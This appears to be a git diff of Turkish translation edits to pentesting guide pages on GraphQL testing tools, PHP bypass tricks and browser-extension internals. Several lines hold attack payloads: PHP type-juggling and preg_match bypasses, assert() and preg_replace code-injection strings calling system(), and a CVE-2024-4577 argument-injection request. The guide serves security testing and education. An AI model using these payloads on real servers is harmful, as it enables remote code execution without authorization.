test edin +- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): graphql uç noktalarının yaygın yanlış yapılandırmalarını test eder - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Toplu GraphQL sorguları ve değişiklikleri gerçekleştirmeye odaklanan GraphQL güvenlik denetim scripti. -- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Kullanılan graphql'yi parmak izi ile tanımlayın +- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Kullanılan graphql'ü parmak izi ile tanımlar - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Şemaları almak ve hassas verileri aramak, yetkilendirmeyi test etmek, şemaları kaba kuvvetle denemek ve belirli bir tür için yollar bulmak için kullanılabilecek araç seti. - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Bağımsız olarak veya [Burp uzantısı](https://github.com/doyensec/inql) olarak kullanılabilir. - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Saldırıları otomatikleştirmek için CLI istemcisi olarak da kullanılabilir - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **Bir GraphQL şemasında belirli bir türe ulaşmanın farklı yollarını** listeleyen araç. - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL'nin Bağımsız ve CLI Modlarının Halefidir -- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Gelişmiş GraphQL testi için Burp uzantısı. _**Tarayıcı**_ InQL v5.0'ın merkezidir, burada bir GraphQL uç noktasını veya yerel bir introspection şema dosyasını analiz edebilirsiniz. Tüm olası sorguları ve değişiklikleri otomatik olarak oluşturur, bunları analiziniz için yapılandırılmış bir görünümde düzenler. _**Saldırgan**_ bileşeni, kötü uygulanmış hız sınırlamalarını aşmak için yararlı olabilecek toplu GraphQL saldırılarını gerçekleştirmenizi sağlar. -- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Bazı Graphql veritabanlarının yardımıyla şemayı, introspection devre dışı olsa bile almaya çalışın; bu veritabanları değişikliklerin ve parametrelerin adlarını önerecektir. +- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Gelişmiş GraphQL testi için Burp uzantısı. _**Tarayıcı**_ InQL v5.0'ın merkezidir, burada bir GraphQL uç noktasını veya yerel bir içgörü şeması dosyasını analiz edebilirsiniz. Tüm olası sorguları ve değişiklikleri otomatik olarak oluşturur, bunları analiziniz için yapılandırılmış bir görünümde düzenler. _**Saldırgan**_ bileşeni, kötü uygulanmış hız sınırlamalarını aşmak için yararlı olabilecek toplu GraphQL saldırılarını gerçekleştirmenizi sağlar. +- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): İnspeksiyon devre dışı bırakıldığında bile şemayı elde etmeye çalışır, bazı Graphql veritabanlarının yardımıyla değişikliklerin ve parametrelerin adlarını önerir. ### İstemciler @@ -572,7 +572,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso https://graphql-dashboard.herokuapp.com/ {{#endref}} -- AutoGraphQL'yi açıklayan video: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) +- AutoGraphQL'ü açıklayan video: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) ## Referanslar diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index a9ab6a90f..f78934c11 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -19,7 +19,7 @@ Konumlar: /tmp/ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ``` -## PHP karşılaştırmalarını atlatma +## PHP karşılaştırmalarını atlama ### Gevşek karşılaştırmalar/Tür Karıştırma ( == ) @@ -33,9 +33,9 @@ PHP karşılaştırma tabloları: [https://www.php.net/manual/en/types.compariso - `"string" == 0 -> True` Sayı ile başlamayan bir dize, bir sayıya eşittir - `"0xAAAA" == "43690" -> True` Onaltılık veya ondalık formatta sayılardan oluşan dizeler, sayılar aynıysa diğer sayılar/dizelerle True sonucu ile karşılaştırılabilir (bir dizedeki sayılar sayılar olarak yorumlanır) -- `"0e3264578" == 0 --> True` "0e" ile başlayıp herhangi bir şeyle devam eden bir dize, 0'a eşit olacaktır -- `"0X3264578" == 0X --> True` "0" ile başlayıp herhangi bir harfle (X herhangi bir harf olabilir) ve ardından herhangi bir şeyle devam eden bir dize, 0'a eşit olacaktır -- `"0e12334" == "0" --> True` Bu çok ilginçtir çünkü bazı durumlarda "0" dizisinin girdiğini ve bununla karşılaştırılan bir içeriği kontrol edebilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir hash oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlatabilirsiniz. Bu formatta **zaten hashlenmiş dizeleri** burada bulabilirsiniz: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +- `"0e3264578" == 0 --> True` "0e" ile başlayıp herhangi bir şeyle devam eden bir dize, 0'a eşittir +- `"0X3264578" == 0X --> True` "0" ile başlayıp herhangi bir harfle (X herhangi bir harf olabilir) ve ardından herhangi bir şeyle devam eden bir dize, 0'a eşittir +- `"0e12334" == "0" --> True` Bu çok ilginçtir çünkü bazı durumlarda "0" dizisinin girdiğini ve bununla karşılaştırılan bir içeriği kontrol edebilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir hash oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlayabilirsiniz. Bu formatta **zaten hashlenmiş dizeleri** burada bulabilirsiniz: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` Bir dizedeki herhangi bir harf, int 0'a eşittir Daha fazla bilgi için [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) @@ -63,17 +63,17 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real ### Katı Tür Dönüşümü -`===` **kullanılıyor olsa bile**, karşılaştırmayı **tür dönüşümüne** **duyarlı** hale getiren hatalar olabilir. Örneğin, karşılaştırma **karşılaştırmadan önce veriyi farklı bir nesne türüne dönüştürüyorsa**: +`===` **kullanılıyor olsa bile**, **karşılaştırmayı zayıf hale getiren** hatalar olabilir. Örneğin, eğer karşılaştırma **karşılaştırmadan önce veriyi farklı bir nesne türüne dönüştürüyorsa**: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` ### preg_match(/^.\*/) -**`preg_match()`** kullanıcı girişini **doğrulamak** için kullanılabilir (bu, **kullanıcı girişinde** herhangi bir **kelime/regex**'in **kara liste**de olup olmadığını **kontrol eder** ve eğer yoksa, kod çalışmaya devam edebilir). +**`preg_match()`** kullanıcı girişini **doğrulamak** için kullanılabilir (bu, **kullanıcı girişinde** herhangi bir **kelime/regex**'in **kara liste**de olup olmadığını **kontrol eder** ve eğer yoksa, kodun çalışmasına devam etmesine izin verir). #### Yeni satır atlatma -Ancak, regexp'nin başlangıcını belirlerken `preg_match()` **kullanıcı girişinin sadece ilk satırını kontrol eder**, bu nedenle eğer bir şekilde girişi **birden fazla satırda** **gönderebilirseniz**, bu kontrolü atlatabilirsiniz. Örnek: +Ancak, regexp'yi sınırlandırırken `preg_match()` **kullanıcı girişinin sadece ilk satırını kontrol eder**, bu nedenle eğer bir şekilde girişi **birden fazla satırda** **gönderebilirseniz**, bu kontrolü atlatabilirsiniz. Örnek: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -97,7 +97,7 @@ Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ram #### **Uzunluk hatası atlatma** (Bu atlatma, görünüşe göre PHP 5.2.5 üzerinde denendi ve PHP 7.3.15 üzerinde çalıştırmayı başaramadım)\ -Eğer `preg_match()` fonksiyonuna geçerli çok **büyük bir girdi** gönderebilirseniz, **işlem yapamayacak** ve kontrolü **atlatabileceksiniz**. Örneğin, eğer bir JSON'u kara listeye alıyorsa, şunu gönderebilirsiniz: +Eğer `preg_match()`'e geçerli çok **büyük bir girdi** gönderebilirseniz, **işleyemeyecek** ve kontrolü **atlatabileceksiniz**. Örneğin, eğer bir JSON'u kara listeye alıyorsa, şunu gönderebilirsiniz: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -109,17 +109,17 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
-Kısacası, sorun PHP'deki `preg_*` fonksiyonlarının [PCRE kütüphanesi](http://www.pcre.org/) üzerine inşa edilmesinden kaynaklanıyor. PCRE'de belirli düzenli ifadeler, çok sayıda özyinelemeli çağrı kullanılarak eşleştirilir, bu da çok fazla yığın alanı kullanır. İzin verilen özyineleme sayısı için bir sınır belirlemek mümkündür, ancak PHP'de bu sınır [varsayılan olarak 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) olup, bu yığın içinde sığacak olandan fazladır. +Kısacası, sorun `preg_*` fonksiyonlarının PHP'de [PCRE kütüphanesi](http://www.pcre.org/) üzerine inşa edilmesinden kaynaklanıyor. PCRE'de belirli düzenli ifadeler, çok sayıda özyinelemeli çağrı kullanılarak eşleştirilir, bu da çok fazla yığın alanı kullanır. İzin verilen özyinelemelerin miktarını sınırlamak mümkündür, ancak PHP'de bu limit [varsayılan olarak 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) olup, bu yığında sığacak olandan fazladır. -[Bu Stackoverflow başlığı](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) da bu konunun daha derinlemesine tartışıldığı gönderide bağlantılıydı. Görevimiz artık netti:\ -**Regex'in 100_000+ özyineleme yapmasını sağlayacak bir girdi gönderin, bu da SIGSEGV'ye neden olacak, `preg_match()` fonksiyonunun `false` döndürmesini sağlayacak ve böylece uygulama girdimizin kötü niyetli olmadığını düşünecek, yükün sonunda `{system()}` gibi bir sürpriz atarak SSTI --> RCE --> flag :) elde edeceğiz.** +[Bu Stackoverflow başlığı](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) da bu konunun daha derinlemesine tartışıldığı gönderide bağlantılıydı. Görevimiz şimdi açıktı:\ +**Regex'in 100_000+ özyineleme yapmasını sağlayacak bir girdi gönderin, bu da SIGSEGV'ye neden olacak, `preg_match()` fonksiyonunun `false` döndürmesini sağlayacak ve böylece uygulamanın girdimizin kötü niyetli olmadığını düşünmesine neden olacak, yükün sonunda `{system()}` gibi bir sürpriz atarak SSTI --> RCE --> flag :)**. -Regex terimleriyle, aslında 100k "özyineleme" yapmıyoruz, bunun yerine "geri izleme adımlarını" sayıyoruz, ki bu da [PHP belgelerine](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) göre `pcre.backtrack_limit` değişkeninde varsayılan olarak 1_000_000 (1M) olarak ayarlanmıştır.\ -Buna ulaşmak için, `'X'*500_001` 1 milyon geri izleme adımına (500k ileri ve 500k geri) neden olacaktır: +Aslında regex terimleriyle, 100k "özyineleme" yapmıyoruz, bunun yerine "geri izleme adımlarını" sayıyoruz, ki bu da [PHP belgelerine](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) göre `pcre.backtrack_limit` değişkeninde varsayılan olarak 1_000_000 (1M) olarak ayarlanmıştır.\ +Buna ulaşmak için, `'X'*500_001` 1 milyon geri izleme adımına (500k ileri ve 500k geri) yol açacaktır: ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` -### PHP obfuscation için Type Juggling +### PHP obfuscation için Tip Karıştırma ```php $obfs = "1"; //string "1" $obfs++; //int 2 @@ -142,7 +142,7 @@ header('Location: /index.php?page=default.html'); readfile($page); ?> ``` -## Path Traversal ve Dosya Dahil Etme İstismarı +## Path Traversal ve Dosya Dahil Etme Sömürüsü Kontrol et: @@ -153,15 +153,15 @@ Kontrol et: ## Daha Fazla Hile - **register_globals**: **PHP < 4.1.1.1** veya yanlış yapılandırılmışsa, **register_globals** aktif olabilir (veya davranışları taklit ediliyor olabilir). Bu, $\_GET gibi global değişkenlerde bir değer varsa örneğin $\_GET\["param"]="1234", **$param** aracılığıyla erişebileceğiniz anlamına gelir. Bu nedenle, HTTP parametreleri göndererek kod içinde kullanılan değişkenleri **üzerine yazabilirsiniz**. -- **Aynı alanın PHPSESSION çerezleri aynı yerde saklanır**, bu nedenle bir alanda **farklı çerezler farklı yollarla kullanılıyorsa**, bir yolu **diğer yolun çerezine erişecek şekilde ayarlayabilirsiniz**.\ -Bu şekilde, **her iki yol da aynı isimde bir değişkene erişirse**, **o değişkenin path1'deki değeri path2'ye uygulanabilir**. Ve ardından path2, path1'in değişkenlerini geçerli olarak alacaktır (çereze path2'deki karşılık gelen ismi vererek). -- Makinenin kullanıcılarının **kullanıcı adlarını** aldığınızda, php dizinlerinin etkin olup olmadığını görmek için adresi kontrol edin: **/\~\**. -- [**LFI ve RCE php sarmalayıcıları kullanarak**](../../../pentesting-web/file-inclusion/) +- **Aynı alanın PHPSESSION çerezleri aynı yerde saklanır**, bu nedenle bir alanda **farklı çerezler farklı yollarla kullanılıyorsa**, bir yolun **diğer yolun çerezine erişmesini** sağlayabilirsiniz ve diğer yolun çerezinin değerini ayarlayabilirsiniz.\ +Bu şekilde, eğer **her iki yol da aynı isimde bir değişkene erişiyorsa**, **o değişkenin path1'deki değeri path2'ye uygulanabilir**. Ve ardından path2, path1'in değişkenlerini geçerli olarak alacaktır (çereze path2'deki karşılık gelen ismi vererek). +- Makinenin kullanıcılarının **kullanıcı adlarını** aldığınızda, php dizinlerinin etkin olup olmadığını kontrol etmek için adresi kontrol edin: **/\~\**. +- [**LFI ve RCE php sarmalayıcıları kullanarak**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify Bu fonksiyonlar genellikle PHP'de **şifrelerden hash oluşturmak** ve bir hash ile karşılaştırıldığında bir şifrenin doğru olup olmadığını **kontrol etmek** için kullanılır.\ -Desteklenen algoritmalar: `PASSWORD_DEFAULT` ve `PASSWORD_BCRYPT` (başlar `$2y$`). **PASSWORD_DEFAULT genellikle PASSWORD_BCRYPT ile aynı olduğunu** unutmayın. Ve şu anda, **PASSWORD_BCRYPT**'in **girişte 72baytlık bir boyut sınırlaması** vardır. Bu nedenle, bu algoritma ile 72bayttan daha büyük bir şeyi hashlemeye çalıştığınızda yalnızca ilk 72B kullanılacaktır: +Desteklenen algoritmalar: `PASSWORD_DEFAULT` ve `PASSWORD_BCRYPT` ( `$2y$` ile başlar). **PASSWORD_DEFAULT genellikle PASSWORD_BCRYPT ile aynı olduğunu** unutmayın. Ve şu anda, **PASSWORD_BCRYPT**'in **girişte 72 baytlık bir boyut sınırlaması** vardır. Bu nedenle, bu algoritma ile 72 bayttan daha büyük bir şeyi hashlemeye çalıştığınızda yalnızca ilk 72B kullanılacaktır: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW False @@ -173,9 +173,9 @@ True #### Başlıkları ayarladıktan sonra hata oluşturma -[**bu twitter dizisinde**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) 1000'den fazla GET parametresi veya 1000'den fazla POST parametresi veya 20 dosya gönderildiğinde, PHOP'un yanıtında başlıkları ayarlamayacağını görebilirsiniz. +[**bu twitter dizisinde**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) 1000'den fazla GET parametresi veya 1000'den fazla POST parametresi veya 20 dosya gönderildiğinde, PHOP'un yanıtta başlıkları ayarlamayacağını görebilirsiniz. -Bu, örneğin CSP başlıklarının kodlarda ayarlanmasını atlatmaya izin verir: +Bu, örneğin CSP başlıklarının kodlarda ayarlanmasını atlatmaya olanak tanır: ```php ) @@ -202,7 +202,7 @@ php-ssrf.md &#xNAN;**\`ls\`;**\ **shell_exec("ls");** -[Daha yararlı PHP fonksiyonları için bunu kontrol edin](php-useful-functions-disable_functions-open_basedir-bypass/) +[Daha yararlı PHP fonksiyonları için bunu kontrol edin](php-useful-functions-disable_functions-open_basedir-bypass/index.html) ### **preg_replace()** ile **RCE** ```php @@ -222,8 +222,8 @@ Bu preg_replace seçeneği **PHP 5.5.0 itibarıyla kullanımdan kaldırılmışt ``` ### **Assert() ile RCE** -php içindeki bu fonksiyon, **bir dize içinde yazılmış kodu çalıştırmanıza** olanak tanır ve **true veya false döndürür** (ve buna bağlı olarak yürütmeyi değiştirir). Genellikle kullanıcı değişkeni bir dize içinde ortada yer alır. Örneğin:\ -`assert("strpos($_GET['page']),'..') === false")` --> Bu durumda **RCE** elde etmek için şunları yapabilirsiniz: +php içindeki bu fonksiyon, **bir dize içinde yazılmış kodu çalıştırmanıza** olanak tanır ve **true veya false döndürür** (ve buna bağlı olarak yürütmeyi değiştirir). Genellikle kullanıcı değişkeni bir dize ortasına yerleştirilecektir. Örneğin:\ +`assert("strpos($_GET['page']),'..') === false")` --> Bu durumda **RCE** elde etmek için şunu yapabilirsiniz: ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` @@ -262,7 +262,7 @@ Kapatmanız gereken parantez sayısını keşfetmek için: - `?order=id;}//`: bir hata mesajı alıyoruz (`Parse error: syntax error, unexpected ';'`). Muhtemelen bir veya daha fazla parantez eksik. - `?order=id);}//`: bir **uyarı** alıyoruz. Bu doğru görünüyor. -- `?order=id));}//`: bir hata mesajı alıyoruz (`Parse error: syntax error, unexpected ')' i`). Muhtemelen fazla kapanış parantezimiz var. +- `?order=id));}//`: bir hata mesajı alıyoruz (`Parse error: syntax error, unexpected ')' i`). Muhtemelen çok fazla kapanış parantezimiz var. ### **.httaccess ile RCE** @@ -289,11 +289,11 @@ Eğer PHP'de **env değişkenlerini değiştirmeye** izin veren bir güvenlik a ### XAMPP CGI RCE - CVE-2024-4577 -Web sunucusu HTTP isteklerini ayrıştırır ve bunları `http://host/cgi.php?foo=bar` gibi bir isteği çalıştıran bir PHP betiğine iletir (`php.exe cgi.php foo=bar`), bu da bir parametre enjeksiyonuna izin verir. Bu, gövde içindeki PHP kodunu yüklemek için aşağıdaki parametreleri enjekte etmeye olanak tanır: +Web sunucusu HTTP isteklerini ayrıştırır ve bunları `php.exe cgi.php foo=bar` gibi bir isteği çalıştıran bir PHP betiğine iletir, bu da bir parametre enjeksiyonuna izin verir. Bu, gövde içindeki PHP kodunu yüklemek için aşağıdaki parametreleri enjekte etmeye olanak tanır: ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input ``` -Ayrıca, PHP'nin sonraki normalizasyonu nedeniyle "-" parametresini 0xAD karakteri kullanarak enjekte etmek mümkündür. [**bu gönderiden**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) örneği kontrol edin. +Ayrıca, PHP'nin sonraki normalizasyonu nedeniyle "-" parametresini 0xAD karakteri kullanarak enjekte etmek mümkündür. [**bu gönderiden**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) istismar örneğini kontrol edin. ```jsx POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: {{host}} @@ -310,7 +310,7 @@ phpinfo(); ``` ## PHP Sanitizasyon atlatma & Brain Fuck -[**Bu yazıda**](https://blog.redteam-pentesting.de/2024/moodle-rce/) çok az karakterin izin verildiği bir brain fuck PHP kodu oluşturmak için harika fikirler bulmak mümkün.\ +[**Bu yazıda**](https://blog.redteam-pentesting.de/2024/moodle-rce/) çok az karakterle izin verilen bir brain fuck PHP kodu oluşturmak için harika fikirler bulmak mümkün.\ Ayrıca, birkaç kontrolü atlatmalarını sağlayan fonksiyonları çalıştırmanın ilginç bir yolu da önerilmektedir: ```php (1)->{system($_GET[chr(97)])} @@ -325,9 +325,9 @@ $_COOKIE | if #This mea ``` Eğer bir PHP uygulamasını hata ayıklıyorsanız, hata yazdırmayı global olarak etkinleştirmek için `/etc/php5/apache2/php.ini` dosyasına `display_errors = On` ekleyebilir ve apache'yi yeniden başlatabilirsiniz: `sudo systemctl restart apache2` -### PHP kodunu deobfuscate etme +### PHP kodunu deşifre etme -PHP kodunu deobfuscate etmek için **web**[ **www.unphp.net**](http://www.unphp.net) **kullanabilirsiniz.** +PHP kodunu deşifre etmek için **web**[ **www.unphp.net**](http://www.unphp.net) **kullanabilirsiniz.** ## PHP Wrapper'ları ve Protokoller @@ -349,7 +349,7 @@ echo "${Da}"; //Drums echo "$x ${$x}"; //Da Drums echo "$x ${Da}"; //Da Drums ``` -## RCE kötüye kullanımı yeni $\_GET\["a"]\($\_GET\["b") +## RCE kötüye kullanımı yeni $\_GET\["a"]\($\_GET\["b"]) Eğer bir sayfada **rastgele bir sınıfın yeni bir nesnesini oluşturabiliyorsanız** RCE elde etme şansınız olabilir, nasıl yapılacağını öğrenmek için aşağıdaki sayfayı kontrol edin: diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index cc69db66d..75bbd1ddf 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -14,7 +14,7 @@ Uzantı düzenleri en iyi şekilde görselleştirildiğinde görünür ve üç b ### **İçerik Scriptleri** -Her içerik scripti, **tek bir web sayfasının** DOM'una doğrudan erişime sahiptir ve bu nedenle **potansiyel olarak kötü niyetli girdi** ile karşı karşıyadır. Ancak, içerik scriptinin uzantı çekirdeğine mesaj göndermenin dışında başka bir izni yoktur. +Her içerik scriptinin **tek bir web sayfasının** DOM'una doğrudan erişimi vardır ve bu nedenle **potansiyel olarak kötü niyetli girdi** ile karşı karşıyadır. Ancak, içerik scripti uzantı çekirdeğine mesaj göndermenin dışında hiçbir izne sahip değildir. ### **Uzantı Çekirdeği** @@ -31,7 +31,7 @@ Uzantı, kullanıcının tam ayrıcalıklarıyla **ana makineye erişebilen bir Uzantının her bir bileşeni, **güçlü koruyucu sınırlarla** birbirinden ayrılmıştır. Her bileşen, **ayrı bir işletim sistemi sürecinde** çalışır. İçerik scriptleri ve uzantı çekirdekleri, çoğu işletim sistemi hizmetlerine kapalı olan **sandbox süreçlerinde** çalışır. -Ayrıca, içerik scriptleri, **ayrı bir JavaScript yığını** içinde çalışarak ilişkili web sayfalarından ayrılır. İçerik scripti ve web sayfası, **aynı temel DOM'a erişime** sahiptir, ancak ikisi **asla JavaScript işaretçilerini değiş tokuş etmez**, bu da JavaScript işlevselliğinin sızmasını önler. +Ayrıca, içerik scriptleri, **ayrı bir JavaScript yığını** içinde çalışarak ilişkili web sayfalarından ayrılır. İçerik scripti ve web sayfası, **aynı temel DOM'a erişime** sahiptir, ancak ikisi **asla JavaScript işaretçilerini değiştirmez**, bu da JavaScript işlevselliğinin sızmasını önler. ## **`manifest.json`** @@ -61,7 +61,7 @@ Bir Chrome uzantısı, [.crx dosya uzantısına](https://www.lifewire.com/crx-fi ``` ### `content_scripts` -Content scripts, kullanıcı **eşleşen bir sayfaya gittiğinde** **yüklenir**, bu durumda **`https://example.com/*`** ifadesine uyan ve **`*://*/*/business*`** regex'ine uymayan herhangi bir sayfa. **Sayfanın kendi scriptleri gibi** çalışırlar ve sayfanın [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) erişimine serbestçe erişim sağlarlar. +Content scripts, kullanıcı **eşleşen bir sayfaya gittiğinde** **yüklenir**, bu durumda **`https://example.com/*`** ifadesine uyan ve **`*://*/*/business*`** regex'ine uymayan herhangi bir sayfa. **Sayfanın kendi scriptleri gibi** çalışırlar ve sayfanın [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) üzerinde keyfi erişime sahiptirler. ```json "content_scripts": [ { @@ -97,11 +97,11 @@ Bu butona tıklandığında, içerik betiği tarafından uzantı sayfalarına bi > Tarayıcıya bağlı olarak, içerik betiğinin yetenekleri biraz farklılık gösterebilir. Chromium tabanlı tarayıcılar için yetenekler listesi [Chrome Geliştiricileri belgelerinde](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities) mevcuttur ve Firefox için [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) ana kaynak olarak hizmet etmektedir.\ > Ayrıca, içerik betiklerinin arka plan betikleriyle iletişim kurma yeteneğine sahip olduğu ve bu sayede eylemler gerçekleştirebildiği ve yanıtları iletebildiği de dikkate değerdir. -Chrome'da içerik betiklerini görüntülemek ve hata ayıklamak için, Chrome geliştirici araçları menüsüne Seçenekler > Daha fazla araç > Geliştirici araçları yoluyla veya Ctrl + Shift + I tuşlarına basarak erişilebilir. +Chrome'da içerik betiklerini görüntülemek ve hata ayıklamak için, Chrome geliştirici araçları menüsüne Options > More tools > Developer tools yoluyla veya Ctrl + Shift + I tuşlarına basarak erişilebilir. -Geliştirici araçları görüntülendikten sonra, **Kaynak sekmesine** tıklanmalı ve ardından **İçerik Betikleri** sekmesi seçilmelidir. Bu, çeşitli uzantılardan çalışan içerik betiklerinin gözlemlenmesini ve yürütme akışını izlemek için kesme noktalarının ayarlanmasını sağlar. +Geliştirici araçları görüntülendikten sonra, **Source tab**'ına tıklanmalı ve ardından **Content Scripts** sekmesi seçilmelidir. Bu, çeşitli uzantılardan çalışan içerik betiklerinin gözlemlenmesini ve yürütme akışını izlemek için kesme noktalarının ayarlanmasını sağlar. -### Enjekte Edilmiş İçerik Betikleri +### Enjekte edilmiş içerik betikleri > [!TIP] > **İçerik Betikleri zorunlu değildir**; ayrıca **dinamik olarak** **betik enjekte etmek** ve **programatik olarak** web sayfalarına **`tabs.executeScript`** ile enjekte etmek de mümkündür. Bu, aslında daha **detaylı kontroller** sağlar. @@ -171,7 +171,7 @@ Daha fazla URL eklemek veya çıkarmak için **`include_globs`** ve **`exclude_g ### İçerik Scriptleri `run_at` -`run_at` alanı **JavaScript dosyalarının web sayfasına ne zaman enjekte edileceğini** kontrol eder. Tercih edilen ve varsayılan değer `"document_idle"`'dır. +`run_at` alanı **JavaScript dosyalarının web sayfasına ne zaman enjekte edileceğini** kontrol eder. Tercih edilen ve varsayılan değer `"document_idle"`dur. Olası değerler şunlardır: @@ -195,7 +195,7 @@ Olası değerler şunlardır: } ``` -**`service-worker.js`** aracılığıyla +**`service-worker.js`** üzerinden ```javascript chrome.scripting.registerContentScripts([ { @@ -213,11 +213,11 @@ js: ["contentScript.js"], **Ana Noktalar**: - **Arka Plan Sayfası Rolü:** Uzantının sinir merkezi olarak hareket eder, uzantının çeşitli parçaları arasında iletişim ve koordinasyonu sağlar. -- **Süreklilik:** Kullanıcıya görünmez, ancak uzantının işlevselliği için hayati bir varlıktır. -- **Otomatik Oluşturma:** Açıkça tanımlanmadıysa, tarayıcı otomatik olarak bir arka plan sayfası oluşturur. Bu otomatik oluşturulan sayfa, uzantının manifestosunda belirtilen tüm arka plan betiklerini içerecek şekilde, uzantının arka plan görevlerinin kesintisiz çalışmasını sağlar. +- **Süreklilik:** Kullanıcıya görünmez, ancak uzantının işlevselliği için hayati bir öneme sahip sürekli bir varlıktır. +- **Otomatik Oluşturma:** Açıkça tanımlanmadığı takdirde, tarayıcı otomatik olarak bir arka plan sayfası oluşturur. Bu otomatik oluşturulan sayfa, uzantının manifestosunda belirtilen tüm arka plan betiklerini içerecek şekilde, uzantının arka plan görevlerinin kesintisiz çalışmasını sağlar. > [!TIP] -> Tarayıcının açıkça belirtilmediğinde otomatik olarak bir arka plan sayfası oluşturma kolaylığı, gerekli tüm arka plan betiklerinin entegre edilmesini ve çalışır durumda olmasını sağlar, uzantının kurulum sürecini kolaylaştırır. +> Tarayıcının otomatik olarak bir arka plan sayfası oluşturma kolaylığı (açıkça belirtilmediğinde), gerekli tüm arka plan betiklerinin entegre edilmesini ve çalışır durumda olmasını sağlar, uzantının kurulum sürecini kolaylaştırır. Örnek arka plan betiği: ```js @@ -243,16 +243,16 @@ Tarayıcı uzantıları çeşitli türde sayfalar içerebilir:
-Bu sayfaların, dinamik olarak ihtiyaç duyulduğunda içerik yükledikleri için arka plan sayfaları gibi kalıcı olmadığını unutmayın. Bununla birlikte, arka plan sayfasıyla belirli yetenekleri paylaşırlar: +Bu sayfaların, dinamik olarak içerik yükledikleri için arka plan sayfaları gibi kalıcı olmadığını unutmayın. Bununla birlikte, arka plan sayfasıyla belirli yetenekleri paylaşırlar: - **İçerik Betikleri ile İletişim:** Arka plan sayfasına benzer şekilde, bu sayfalar içerik betiklerinden mesaj alabilir, uzantı içinde etkileşimi kolaylaştırır. -- **Uzantıya Özgü API'lere Erişim:** Bu sayfalar, uzantı için tanımlanan izinlere tabi olarak uzantıya özgü API'lere kapsamlı erişim hakkına sahiptir. +- **Uzantıya Özgü API'lere Erişim:** Bu sayfalar, uzantı için tanımlanan izinlere tabi olarak uzantıya özgü API'lere kapsamlı erişim sağlar. ### `permissions` & `host_permissions` -**`permissions`** ve **`host_permissions`**, tarayıcı uzantısının **hangi izinlere** sahip olduğunu (depolama, konum...) ve **hangi web sayfalarında** olduğunu belirten `manifest.json` dosyasındaki girişlerdir. +**`permissions`** ve **`host_permissions`**, uzantının hangi izinlere sahip olduğunu (depolama, konum...) ve **hangi web sayfalarında** olduğunu belirten `manifest.json` dosyasındaki girişlerdir. 